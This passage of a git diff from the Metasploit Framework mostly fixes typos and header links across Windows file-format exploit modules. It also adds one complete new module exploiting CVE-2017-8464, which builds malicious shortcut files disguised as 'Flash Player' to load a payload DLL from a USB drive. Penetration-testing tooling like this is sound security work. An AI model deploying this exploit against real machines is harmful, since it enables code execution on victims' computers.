     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/audiotran_pls.rb b/modules/exploits/windows/fileformat/audiotran_pls.rb
index f010b266a2..7e03983186 100644
--- a/modules/exploits/windows/fileformat/audiotran_pls.rb
+++ b/modules/exploits/windows/fileformat/audiotran_pls.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack-based buffer overflow in Audiotran 1.4.1.
         An attacker must send the file to victim and the victim must open the file.
         Alternatively it may be possible to execute code remotely via an embedded
-        PLS file within a browser, when the PLS extention is registered to Audiotran.
+        PLS file within a browser, when the PLS extension is registered to Audiotran.
         This functionality has not been tested in this module.
       },
       'License'        => MSF_LICENSE,
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
index 8fdb432af2..2fca6c6c67 100644
--- a/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
+++ b/modules/exploits/windows/fileformat/audiotran_pls_1424.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
         An attacker must send the file to victim and the victim must open the file.
         Alternatively, it may be possible to execute code remotely via an embedded
-        PLS file within a browser when the PLS extention is registered to Audiotran.
+        PLS file within a browser when the PLS extension is registered to Audiotran.
         This alternate vector has not been tested and cannot be exercised directly
         with this module.
       },
diff --git a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
index 5462a067bc..7d466420ce 100644
--- a/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
+++ b/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
             This module exploits a vulnerability found in Aviosoft Digital TV Player
           Pro version 1.x.  An overflow occurs when the process copies the content of a
-          playlist file on to the stack, which may result aribitrary code execution under
+          playlist file on to the stack, which may result arbitrary code execution under
           the context of the user.
         },
       'License'        => MSF_LICENSE,
diff --git a/modules/exploits/windows/fileformat/bacnet_csv.rb b/modules/exploits/windows/fileformat/bacnet_csv.rb
index 225416c75c..e5b8fea47d 100644
--- a/modules/exploits/windows/fileformat/bacnet_csv.rb
+++ b/modules/exploits/windows/fileformat/bacnet_csv.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(csv)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
index 9f68a26ff2..bc24157d7b 100644
--- a/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
+++ b/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit
-
   Rank = NormalRanking
 
   include Msf::Exploit::FILEFORMAT
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Exploit
       'Name'    => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
       'Description' => %q{
         This module exploits a stack-based buffer overflow on Beetel Connection Manager. The
-        vulnerability exists in the parising of the UserName parameter in the NetConfig.ini
+        vulnerability exists in the parsing of the UserName parameter in the NetConfig.ini
         file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP
         SP3 and Windows 7 SP1.
       },
@@ -73,5 +72,4 @@ class MetasploitModule < Msf::Exploit
 
     junk << seh << jump << padding << payload.encoded
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
index a1181e1289..fb52fc9ff2 100644
--- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
+++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/blazedvd_plf.rb b/modules/exploits/windows/fileformat/blazedvd_plf.rb
index 5fcb79485e..715700eadb 100644
--- a/modules/exploits/windows/fileformat/blazedvd_plf.rb
+++ b/modules/exploits/windows/fileformat/blazedvd_plf.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -125,7 +125,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(plf)
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
index 421652c287..557c528859 100644
--- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
+++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(sploit)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb
index 3019ad4609..83176d5152 100644
--- a/modules/exploits/windows/fileformat/bsplayer_m3u.rb
+++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/ca_cab.rb b/modules/exploits/windows/fileformat/ca_cab.rb
index 5ae00d0f29..f4df94d914 100644
--- a/modules/exploits/windows/fileformat/ca_cab.rb
+++ b/modules/exploits/windows/fileformat/ca_cab.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'CA Antivirus Engine CAB Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in CA eTrust Antivirus 8.1.637.
-          By creating a specially crafted CAB file, an an attacker may be able
+          By creating a specially crafted CAB file, an attacker may be able
           to execute arbitrary code.
       },
       'License'        => MSF_LICENSE,
@@ -71,7 +71,6 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(cab)
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
index 74d01af04c..7d9eca857b 100644
--- a/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
+++ b/modules/exploits/windows/fileformat/cain_abel_4918_rdp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filerdp)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb
index d3bee00022..f9c0f711cd 100644
--- a/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb
+++ b/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
         a m3u playlist with a long track name, a SEH exception record can be overwritten
         with parts of the controllable buffer. SEH execution is triggered after an
-        invalid read of an injectible address, thus allowing arbitrary code execution.
+        invalid read of an injectable address, thus allowing arbitrary code execution.
         This module works on multiple Windows platforms including: Windows XP SP3,
         Windows Vista, and Windows 7.
       },
@@ -90,5 +90,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(m3u)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
index cc19d76bfb..2ce52112f9 100644
--- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
+++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a buffer overflow vulnerability found in Chasys Draw IES
         (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while
         parsing BMP files, where the ReadFile function is used to store user provided data
-        on the  stack in a insecure way. It results in arbitrary code execution under the
+        on the stack in an insecure way. It results in arbitrary code execution under the
         context of the user viewing a specially crafted BMP file. This module has been
         tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7
         SP1.
diff --git a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb
index 41a9d79245..1ef44d520b 100644
--- a/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb
+++ b/modules/exploits/windows/fileformat/coolpdf_image_stream_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -119,5 +119,4 @@ class MetasploitModule < Msf::Exploit::Remote
     add_object(7, stream)
     finish_pdf
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb
index 30961bf66d..4636e55b2c 100644
--- a/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb
+++ b/modules/exploits/windows/fileformat/corelpdf_fusion_bof.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/zip'
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -92,5 +91,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(xps.pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/csound_getnum_bof.rb b/modules/exploits/windows/fileformat/csound_getnum_bof.rb
index eae252b690..b3d649f5ab 100644
--- a/modules/exploits/windows/fileformat/csound_getnum_bof.rb
+++ b/modules/exploits/windows/fileformat/csound_getnum_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(sploit)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/cutezip_bof.rb b/modules/exploits/windows/fileformat/cutezip_bof.rb
index d44fdb6389..04b4202b86 100644
--- a/modules/exploits/windows/fileformat/cutezip_bof.rb
+++ b/modules/exploits/windows/fileformat/cutezip_bof.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/zip'
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = NormalRanking
 
@@ -93,5 +92,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file...")
     file_create(zip.pack)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
new file mode 100644
index 0000000000..cb33d3ef1d
--- /dev/null
+++ b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::EXE
+
+  attr_accessor :exploit_dll_name
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'            => 'LNK Code Execution Vulnerability',
+        'Description'     => %q{
+          This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL.
+
+          This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
+          similar except an additional SpecialFolderDataBlock is included. The folder ID set
+          in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
+          the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
+          DLL file.
+        },
+        'Author'          =>
+          [
+            'Uncredited',   # vulnerability discovery
+            'Yorick Koster' # msf module
+          ],
+        'License'         => MSF_LICENSE,
+        'References'      =>
+          [
+            ['CVE', '2017-8464'],
+            ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
+            ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
+            ['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
+            ['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
+            ['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
+          ],
+        'DefaultOptions'  =>
+          {
+            'EXITFUNC'    => 'process'
+          },
+        'Arch'            => [ARCH_X86, ARCH_X64],
+        'Payload'         =>
+          {
+            'Space'       => 2048
+          },
+        'Platform'        => 'win',
+        'Targets'         =>
+          [
+            [ 'Automatic',   { 'Arch' => ARCH_ANY } ],
+            [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
+            [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
+          ],
+        'DefaultTarget' => 0, # Default target is Automatic
+        'DisclosureDate' => 'Jun 13 2017'
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']),
+        OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']),
+        OptString.new('DRIVE', [false, 'Drive letter assigned to USB drive on victim\'s machine'])
+      ]
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true])
+      ]
+    )
+  end
+
+  def exploit
+    path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
+    arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
+    datastore['EXE::Path'] = path
+    datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
+
+    dll = generate_payload_dll
+    dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
+    dll_path = store_file(dll, dll_name)
+    print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
+
+    if datastore['DRIVE']
+      lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}")
+      lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
+      lnk_path = store_file(lnk, lnk_filename)
+      print_status("#{lnk_path} created, copy to the target USB drive")
+    else
+      # HACK: the vulnerability doesn't appear to work with UNC paths
+      # Create LNK files to different drives instead
+      # Copying all the LNK files will likely trigger this vulnerability
+      ('D'..'Z').each do |i|
+        fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.')
+        ext = 'lnk' if ext.nil?
+        lnk_filename = "#{fname}_#{i}.#{ext}"
+        lnk = generate_link("#{i}:\\#{dll_name}")
+        lnk_path = store_file(lnk, lnk_filename)
+        print_status("#{lnk_path} created, copy to the target USB drive")
+      end
+    end
+  end
+
+  def generate_link(path)
+    path << "\x00"
+    display_name = "Flash Player\x00" # LNK Display Name
+    comment = "Manage Flash Player Settings\x00"
+
+    # Control Panel Applet ItemID with our DLL
+    cpl_applet = [
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00
+    ].pack('C*')
+    cpl_applet << [path.length].pack('v')
+    cpl_applet << [display_name.length].pack('v')
+    cpl_applet << path.unpack('C*').pack('v*')
+    cpl_applet << display_name.unpack('C*').pack('v*')
+    cpl_applet << comment.unpack('C*').pack('v*')
+
+    # LinkHeader
+    ret = [
+      0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
+      0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
+      0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
+      0x00, 0x00, 0x00, 0x00, # FileAttributes
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
+      0x00, 0x00, 0x00, 0x00, # FileSize
+      0x00, 0x00, 0x00, 0x00, # IconIndex
+      0x00, 0x00, 0x00, 0x00, # ShowCommand
+      0x00, 0x00, # HotKey
+      0x00, 0x00, # Reserved1
+      0x00, 0x00, 0x00, 0x00, # Reserved2
+      0x00, 0x00, 0x00, 0x00  # Reserved3
+    ].pack('C*')
+
+    # IDList
+    idlist_data = ''
+    # ItemID = ItemIDSize (2 bytes) + Data (variable)
+    idlist_data << [0x12 + 2].pack('v')
+    idlist_data << [
+      # All Control Panel Items
+      0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
+      0x30, 0x9d
+    ].pack('C*')
+    # ItemID = ItemIDSize (2 bytes) + Data (variable)
+    idlist_data << [cpl_applet.length + 2].pack('v')
+    idlist_data << cpl_applet
+    idlist_data << [0x00].pack('v') # TerminalID
+
+    # LinkTargetIDList
+    ret << [idlist_data.length].pack('v') # IDListSize
+    ret << idlist_data
+
+    # ExtraData
+    # SpecialFolderDataBlock
+    ret << [
+      0x10, 0x00, 0x00, 0x00, # BlockSize
+      0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
+      0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
+      0x14, 0x00, 0x00, 0x00  # Offset in LinkTargetIDList
+    ].pack('C*')
+    # TerminalBlock
+    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
+    ret
+  end
+
+  # Store the file in the MSF local directory (eg, /root/.msf4/local/)
+  def store_file(data, filename)
+    @ltype = "exploit.fileformat.#{@shortname}"
+
+    if !::File.directory?(Msf::Config.local_directory)
+      FileUtils.mkdir_p(Msf::Config.local_directory)
+    end
+
+    if filename && !filename.empty?
+      fname, ext = filename.split('.')
+    else
+      fname = "local_#{Time.now.utc.to_i}"
+    end
+
+    fname = ::File.split(fname).last
+
+    fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
+    fname << ".#{ext}"
+
+    path = File.join("#{Msf::Config.local_directory}/", fname)
+    full_path = ::File.expand_path(path)
+    File.open(full_path, "wb") { |fd| fd.write(data) }
+
+    full_path.dup
+  end
+end
diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
index e92e88447a..e12655e425 100644
--- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
+++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb
index 890d7f65db..54e5c43d0a 100644
--- a/modules/exploits/windows/fileformat/cytel_studio_cy3.rb
+++ b/modules/exploits/windows/fileformat/cytel_studio_cy3.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/deepburner_path.rb b/modules/exploits/windows/fileformat/deepburner_path.rb
index f9b8f1c490..fe3d7691d4 100644
--- a/modules/exploits/windows/fileformat/deepburner_path.rb
+++ b/modules/exploits/windows/fileformat/deepburner_path.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         1.8.0, and possibly other versions of AstonSoft's DeepBurner (Pro, Lite, etc).
         An attacker must send the file to victim and the victim must open the file.
         Alternatively it may be possible to execute code remotely via an embedded
-        DBR file within a browser, since the DBR extention is registered to DeepBurner.
+        DBR file within a browser, since the DBR extension is registered to DeepBurner.
       },
       'License'        => MSF_LICENSE,
       'Author' 	 =>
@@ -109,5 +109,4 @@ EOS
     }
     ret
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/destinymediaplayer16.rb b/modules/exploits/windows/fileformat/destinymediaplayer16.rb
index 629dc9f4ea..aa3f6a2b21 100644
--- a/modules/exploits/windows/fileformat/destinymediaplayer16.rb
+++ b/modules/exploits/windows/fileformat/destinymediaplayer16.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -64,5 +64,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(filepls)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb
index 47b127b52c..00a5d22fa8 100644
--- a/modules/exploits/windows/fileformat/digital_music_pad_pls.rb
+++ b/modules/exploits/windows/fileformat/digital_music_pad_pls.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(sploit)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb
index 8443fd6ac8..d46471c4de 100644
--- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb
+++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -65,5 +65,4 @@ class MetasploitModule < Msf::Exploit::Remote
     file_create(sploit)
 
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb
index 4aa46eee23..0bdec82ac4 100644
--- a/modules/exploits/windows/fileformat/djvu_imageurl.rb
+++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -98,5 +98,4 @@ for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape
 
     file_create(content)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb
index 8eb6224a27..3b14db3dd2 100644
--- a/modules/exploits/windows/fileformat/dvdx_plf_bof.rb
+++ b/modules/exploits/windows/fileformat/dvdx_plf_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,8 +15,8 @@ class MetasploitModule < Msf::Exploit::Remote
           This module exploits a stack-based buffer overflow on DVD X Player 5.5 Pro and
         Standard.  By supplying a long string of data in a plf file (playlist), the
         MediaPlayerCtrl.dll component will attempt to extract a filename out of the string,
-        and then copy it on the stack without any proper bounds checking, which casues a
-        buffer overflow, and results arbitrary code execution under the context of the user.
+        and then copy it on the stack without any proper bounds checking, which causes a
+        buffer overflow, and results in arbitrary code execution under the context of the user.
 
           This module has been designed to target common Windows systems such as:
         Windows XP SP2/SP3, Windows Vista, and Windows 7.
diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
index 8544251287..3dff184bca 100644
--- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
+++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb
index bc6a2e32f7..5651182f92 100644
--- a/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb
+++ b/modules/exploits/windows/fileformat/emc_appextender_keyworks.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,8 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow',
       'Description'    => %q{
-          This module exploits a stack buffer overflow in the KeyWorks KeyHelp Activex Control
-        (KeyHelp.ocx 1.2.3120.0). This Activex Control comes bundled with EMC's
+          This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control
+        (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's
         Documentation ApplicationXtender 5.4.
       },
       'License'        => MSF_LICENSE,
@@ -98,5 +98,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     file_create(html)
   end
-
 end
diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
index d0e4a0e7f3..0b9cf634b0 100644
--- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
+++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a buffer overflow vulnerability found in ERS Viewer 2011
         (version 11.04). The vulnerability exists in the module ermapper_u.dll where the
-        function ERM_convert_to_correct_webpath handles user provided data in a insecure
+        function ERM_convert_to_correct_webpath handles user provided data in an insecure
         way. It results in arbitrary code execution under the context of the user viewing
         a specially crafted .ers file. This module has been tested successfully with ERS
